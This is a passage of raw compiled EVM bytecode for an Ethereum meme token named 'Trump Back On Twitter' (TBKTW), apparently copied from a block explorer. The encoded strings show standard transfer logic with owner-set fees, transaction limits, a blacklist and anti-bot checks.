602082019050919050565b6000602082019050818103600083015261442a816143ee565b9050919050565b600061443c82613b82565b915061444783613b82565b92508282101561445a576144596141be565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b600061449b601483613a6f565b91506144a682614465565b602082019050919050565b600060208201905081810360008301526144ca8161448e565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b6000614507600f83613a6f565b9150614512826144d1565b602082019050919050565b60006020820190508181036000830152614536816144fa565b9050919050565b60008151905061454c81613b56565b92915050565b60006020828403121561456857614567613b1f565b5b60006145768482850161453d565b91505092915050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b60006145b5600e83613a6f565b91506145c08261457f565b602082019050919050565b600060208201905081810360008301526145e4816145a8565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b6000614621600983613a6f565b915061462c826145eb565b602082019050919050565b6000602082019050818103600083015261465081614614565b9050919050565b600060408201905061466c6000830185613edb565b6146796020830184613edb565b9392505050565b7f546f6b656e2062616c616e636520746f6f206c6f770000000000000000000000600082015250565b60006146b6601583613a6f565b91506146c182614680565b602082019050919050565b600060208201905081810360008301526146e5816146a9565b9050919050565b60006146f782613b82565b915061470283613b82565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614737576147366141be565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061477c82613b82565b915061478783613b82565b92508261479757614796614742565b5b828204905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b60006147d8601083613a6f565b91506147e3826147a2565b602082019050919050565b60006020820190508181036000830152614807816147cb565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b6000614844601483613a6f565b915061484f8261480e565b602082019050919050565b6000602082019050818103600083015261487381614837565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006148b0600983613a6f565b91506148bb8261487a565b602082019050919050565b600060208201905081810360008301526148df816148a3565b9050919050565b60006148f182613db9565b91506148fc83613db9565b92508261ffff03821115614913576149126141be565b5b828201905092915050565b6000819050919050565b600061494361493e61493984613b24565b61491e565b613b24565b9050919050565b600061495582614928565b9050919050565b60006149678261494a565b9050919050565b6149778161495c565b82525050565b6000602082019050614992600083018461496e565b92915050565b60006149a382613db9565b915061ffff82036149b7576149b66141be565b5b600182019050919050565b7f616c72656164792068756d616e697a6564000000000000000000000000000000600082015250565b60006149f8601183613a6f565b9150614a03826149c2565b602082019050919050565b60006020820190508181036000830152614a27816149eb565b9050919050565b7f5a65726f2061646472657373206e6f7420616c6c6f7765640000000000000000600082015250565b6000614a64601883613a6f565b9150614a6f82614a2e565b602082019050919050565b60006020820190508181036000830152614a9381614a57565b9050919050565b6000614aa582613b24565b9150614ab083613b24565b925082614ac057614abf614742565b5b828206905092915050565b7f4578636573736976652067617300000000000000000000000000000000000000600082015250565b6000614b01600d83613a6f565b9150614b0c82614acb565b602082019050919050565b60006020820190508181036000830152614b3081614af4565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000614b6d600b83613a6f565b9150614b7882614b37565b602082019050919050565b60006020820190508181036000830152614b9c81614b60565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000614bd9601183613a6f565b9150614be482614ba3565b602082019050919050565b60006020820190508181036000830152614c0881614bcc565b9050919050565b6000819050919050565b6000614c34614c2f614c2a84614c0f565b61491e565b613b82565b9050919050565b614c4481614c19565b82525050565b600060c082019050614c5f6000830189613edb565b614c6c6020830188613d8f565b614c796040830187614c3b565b614c866060830186614c3b565b614c936080830185613edb565b614ca060a0830184613d8f565b979650505050505050565b600081519050614cba81613b8c565b92915050565b600080600060608486031215614cd957614cd8613b1f565b5b6000614ce786828701614cab565b9350506020614cf886828701614cab565b9250506040614d0986828701614cab565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614da681613b44565b82525050565b6000614db88383614d9d565b60208301905092915050565b6000602082019050919050565b6000614ddc82614d71565b614de68185614d7c565b9350614df183614d8d565b8060005b83811015614e22578151614e098882614dac565b9750614e1483614dc4565b925050600181019050614df5565b5085935050505092915050565b600060a082019050614e446000830188613d8f565b614e516020830187614c3b565b8181036040830152614e638186614dd1565b9050614e726060830185613edb565b614e7f6080830184613d8f565b969550505050505056fea2646970667358221220b00fff4f174fa6594ed0133fd0acf7a6fbe58f452c7e9df1cf023b0b4f26588364736f6c634300080d00330000000000000000000000000000000000000000000000000000000034d805fd0000000000000000000000000000000000000000000000000000000006f73b9f
Deployed Bytecode
0x60806040526004361061023f5760003560e01c80638c0b5e221161012e578063cc1f7841116100ab578063de1a356c1161006f578063de1a356c14610860578063e4dbc45b14610889578063eb819948146108b2578063f2fde38b146108dd578063fe575a871461090657610246565b8063cc1f78411461078b578063db861599146107b6578063dca2a8b6146107e1578063dd3efd4e146107f8578063dd62ed3e1461082357610246565b8063a9059cbb116100f2578063a9059cbb146106a4578063aa4bde28146106e1578063b14218031461070c578063b4ae29b914610735578063cc18e05a1461076057610246565b80638c0b5e22146105cf5780638c254c0b146105fa57806395d89b41146106255780639a9cb49314610650578063a13d1a2b1461067b57610246565b806323b872dd116101bc5780636d1b229d116101805780636d1b229d146104ea57806370a0823114610513578063740bf4971461055057806380781cf914610579578063893d20e8146105a457610246565b806323b872dd146103f1578063313ce5671461042e5780635ea5208e14610459578063688ba636146104965780636969c1a4146104c157610246565b8063174351e611610203578063174351e61461033057806318160ddd1461036d5780631c247414146103985780631c939ee9146103c35780631cbbe3e4146103da57610246565b806306fdde031461024b578063095ea7b31461027657806309ef509f146102b35780630aae3412146102dc57806315b6c1761461030757610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610943565b60405161026d9190613afd565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613bb8565b610980565b6040516102aa9190613c13565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190613c67565b610adf565b005b3480156102e857600080fd5b506102f1610c33565b6040516102fe9190613cdb565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190613d22565b610c59565b005b34801561033c57600080fd5b5061035760048036038101906103529190613d62565b610d42565b6040516103649190613c13565b60405180910390f35b34801561037957600080fd5b50610382610d62565b60405161038f9190613d9e565b60405180910390f35b3480156103a457600080fd5b506103ad610d87565b6040516103ba9190613dd6565b60405180910390f35b3480156103cf57600080fd5b506103d8610d9b565b005b3480156103e657600080fd5b506103ef610e34565b005b3480156103fd57600080fd5b5061041860048036038101906104139190613df1565b610ee7565b6040516104259190613c13565b60405180910390f35b34801561043a57600080fd5b506104436110f0565b6040516104509190613e53565b60405180910390f35b34801561046557600080fd5b50610480600480360381019061047b9190613d62565b6110f9565b60405161048d9190613c13565b60405180910390f35b3480156104a257600080fd5b506104ab611119565b6040516104b89190613cdb565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190613e6e565b61113f565b005b3480156104f657600080fd5b50610511600480360381019061050c9190613e6e565b61171b565b005b34801561051f57600080fd5b5061053a60048036038101906105359190613d62565b6118cf565b6040516105479190613d9e565b60405180910390f35b34801561055c57600080fd5b5061057760048036038101906105729190613e9b565b611918565b005b34801561058557600080fd5b5061058e611adc565b60405161059b9190613e53565b60405180910390f35b3480156105b057600080fd5b506105b9611aef565b6040516105c69190613eea565b60405180910390f35b3480156105db57600080fd5b506105e4611b18565b6040516105f19190613d9e565b60405180910390f35b34801561060657600080fd5b5061060f611b1e565b60405161061c9190613cdb565b60405180910390f35b34801561063157600080fd5b5061063a611b44565b6040516106479190613afd565b60405180910390f35b34801561065c57600080fd5b50610665611b81565b6040516106729190613dd6565b60405180910390f35b34801561068757600080fd5b506106a2600480360381019061069d9190613d22565b611b95565b005b3480156106b057600080fd5b506106cb60048036038101906106c69190613bb8565b611c7e565b6040516106d89190613c13565b60405180910390f35b3480156106ed57600080fd5b506106f6611cda565b6040516107039190613d9e565b60405180910390f35b34801561071857600080fd5b50610733600480360381019061072e9190613f31565b611ce0565b005b34801561074157600080fd5b5061074a611ea0565b6040516107579190613dd6565b60405180910390f35b34801561076c57600080fd5b50610775611eb4565b6040516107829190613e53565b60405180910390f35b34801561079757600080fd5b506107a0611ec7565b6040516107ad9190613dd6565b60405180910390f35b3480156107c257600080fd5b506107cb611edb565b6040516107d89190613d9e565b60405180910390f35b3480156107ed57600080fd5b506107f6611ee1565b005b34801561080457600080fd5b5061080d611fcb565b60405161081a9190613e53565b60405180910390f35b34801561082f57600080fd5b5061084a60048036038101906108459190613e9b565b611fde565b6040516108579190613d9e565b60405180910390f35b34801561086c57600080fd5b5061088760048036038101906108829190613f71565b612065565b005b34801561089557600080fd5b506108b060048036038101906108ab9190614000565b6121b1565b005b3480156108be57600080fd5b506108c76122d1565b6040516108d49190613d9e565b60405180910390f35b3480156108e957600080fd5b5061090460048036038101906108ff9190614093565b6122d7565b005b34801561091257600080fd5b5061092d60048036038101906109289190613d62565b6123df565b60405161093a9190613c13565b60405180910390f35b60606040518060400160405280601581526020017f5472756d70204261636b204f6e20547769747465720000000000000000000000815250905090565b600043600c541180156109dd5750600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156109ef576109ee3343600161243a565b5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610acd9190613d9e565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6490614132565b60405180910390fd5b600f60ff168360ff1611158015610b8b5750600f60ff168260ff1611155b8015610b9e5750600f60ff168160ff1611155b610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd49061419e565b60405180910390fd5b82600b60026101000a81548160ff021916908360ff16021790555081600b60036101000a81548160ff021916908360ff16021790555080600b60046101000a81548160ff021916908360ff160217905550505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cde90614132565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60036020528060005260406000206000915054906101000a900460ff1681565b60006009600a610d729190614320565b64174876e800610d82919061436b565b905090565b600b60059054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2090614132565b60405180910390fd5b610e3247612564565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb990614132565b60405180910390fd5b600560009054906101000a900460ff16610edb57600080fd5b610ee56001612702565b565b6000610ef161276b565b610f30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2790614411565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146110dc5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105b9190614431565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6110e78484846127f0565b90509392505050565b60006009905090565b60046020528060005260406000206000915054906101000a900460ff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c490614132565b60405180910390fd5b600560009054906101000a900460ff161561121d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611214906144b1565b60405180910390fd5b60008111611260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112579061451d565b60405180910390fd5b6001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611418573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143c9190614552565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000479050818110156114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb906145cb565b60405180910390fd5b60006114cf306118cf565b905060008111611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90614637565b60405180910390fd5b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a79190614552565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401611603929190614657565b6020604051808303816000875af1158015611622573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116469190614552565b90506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061170182612f81565b61170d8285600061316b565b611715613249565b50505050565b6000611726336118cf565b90508082111561176b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611762906146cc565b60405180910390fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117ba9190614431565b9250508190555081600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461181091906146ec565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118759190613d9e565b60405180910390a33373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6836040516118c39190613d9e565b60405180910390a25050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d90614132565b60405180910390fd5b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60029054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600581526020017f54424b5457000000000000000000000000000000000000000000000000000000815250905090565b600b60079054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1a90614132565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611c8861276b565b611cc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbe90614411565b60405180910390fd5b611cd23384846127f0565b905092915050565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6590614132565b60405180910390fd5b600060016103e88461ffff166009600a611d889190614320565b64174876e800611d98919061436b565b611da2919061436b565b611dac9190614771565b611db691906146ec565b9050600654811015611dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df4906147ee565b60405180910390fd5b80600681905550600060016103e88461ffff166009600a611e1e9190614320565b64174876e800611e2e919061436b565b611e38919061436b565b611e429190614771565b611e4c91906146ec565b9050600754811015611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a9061485a565b60405180910390fd5b8060078190555050505050565b600b60009054906101000a900461ffff1681565b600b60039054906101000a900460ff1681565b600b60099054906101000a900461ffff1681565b60095481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6690614132565b60405180910390fd5b6000611f7a306118cf565b905060008111611fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb6906148c6565b60405180910390fd5b611fc881613377565b50565b600b60049054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ea90614132565b60405180910390fd5b82600b60056101000a81548161ffff021916908361ffff16021790555081600b60076101000a81548161ffff021916908361ffff16021790555080600b60096101000a81548161ffff021916908361ffff160217905550600b60099054906101000a900461ffff16600b60079054906101000a900461ffff16600b60059054906101000a900461ffff1661218791906148e6565b61219191906148e6565b600b806101000a81548161ffff021916908361ffff160217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461223f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223690614132565b60405180910390fd5b8263ffffffff168463ffffffff166009600a61225b9190614320565b64174876e80061226b919061436b565b612275919061436b565b61227f9190614771565b6008819055508063ffffffff168263ffffffff166009600a6122a19190614320565b64174876e8006122b1919061436b565b6122bb919061436b565b6122c59190614771565b60098190555050505050565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235c90614132565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516123d4919061497d565b60405180910390a150565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146124305760019050612435565b600090505b919050565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124d357506000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561255f5781600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561255e57600b600081819054906101000a900461ffff168092919061254290614998565b91906101000a81548161ffff021916908361ffff160217905550505b5b505050565b6000600b60099054906101000a900461ffff16600b60079054906101000a900461ffff1661259291906148e6565b90506000600b60079054906101000a900461ffff1661ffff16111561264957600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60079054906101000a900461ffff1661ffff1685612612919061436b565b61261c9190614771565b9081150290604051600060405180830381858888f19350505050158015612647573d6000803e3d6000fd5b505b6000600b60099054906101000a900461ffff1661ffff1611156126fe57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60099054906101000a900461ffff1661ffff16856126c7919061436b565b6126d19190614771565b9081150290604051600060405180830381858888f193505050501580156126fc573d6000803e3d6000fd5b505b5050565b43600c54118061271457506000600c54145b612753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274a90614a0e565b60405180910390fd5b8060ff164361276291906146ec565b600c8190555050565b60008060009050600560009054906101000a900460ff161561279057600190506127e9565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036127e857600190505b5b8091505090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561285b5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61289a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289190614a7a565b60405180910390fd5b43600c5411156129d1577f0000000000000000000000000000000000000000000000000000000006f73b9f63ffffffff167f0000000000000000000000000000000000000000000000000000000034d805fd63ffffffff16846128fd9190614a9a565b73ffffffffffffffffffffffffffffffffffffffff1603612927576129226001612702565b6129cc565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361297f5761297a8343600161243a565b6129cb565b6129ca83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061243a565b5b5b612ad2565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612a6457612a6383600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061243a565b5b600a600c54612a7391906146ec565b43108015612a91575064174876e80048612a8d91906146ec565b3a10155b15612ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac890614b17565b60405180910390fd5b5b600560009054906101000a900460ff168015612b2e57506000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015612b78575043600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15612bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baf90614b83565b60405180910390fd5b601160149054906101000a900460ff16158015612c1e5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c2c57612c2b613528565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612c9457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612cec575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612d3c57612cfc8484846136c3565b612d3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3290614bef565b60405180910390fd5b5b6000612d4985858561385a565b905060008184612d599190614431565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612da69190614431565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612e815781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3d91906146ec565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ecc91906146ec565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612f6c9190613d9e565b60405180910390a36001925050509392505050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015613168577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161315f9190613d9e565b60405180910390a35b50565b6000816131965760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b81526004016131fd96959493929190614c4a565b60606040518083038185885af115801561321b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132409190614cc0565b50505050505050565b60054361325691906146ec565b600c819055506009600a61326a9190614320565b6127106009600a61327b9190614320565b64174876e80061328b919061436b565b6019613297919061436b565b6132a19190614771565b6132ab91906146ec565b6006819055506009600a6132bf9190614320565b6127106009600a6132d09190614320565b64174876e8006132e0919061436b565b60326132ec919061436b565b6132f69190614771565b61330091906146ec565b6007819055506007600b60026101000a81548160ff021916908360ff160217905550600f600b60036101000a81548160ff021916908360ff1602179055506007600b60046101000a81548160ff021916908360ff1602179055506001600560006101000a81548160ff021916908315150217905550565b61338081612f81565b6000600267ffffffffffffffff81111561339d5761339c614d13565b5b6040519080825280602002602001820160405280156133cb5781602001602082028036833780820191505090505b50905030816000815181106133e3576133e2614d42565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061345457613453614d42565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016134f2959493929190614e2f565b600060405180830381600087803b15801561350c57600080fd5b505af1158015613520573d6000803e3d6000fd5b505050505050565b6001601160146101000a81548160ff021916908315150217905550600061354e306118cf565b9050600854811015801561356e5750600560009054906101000a900460ff165b156136a5576009548110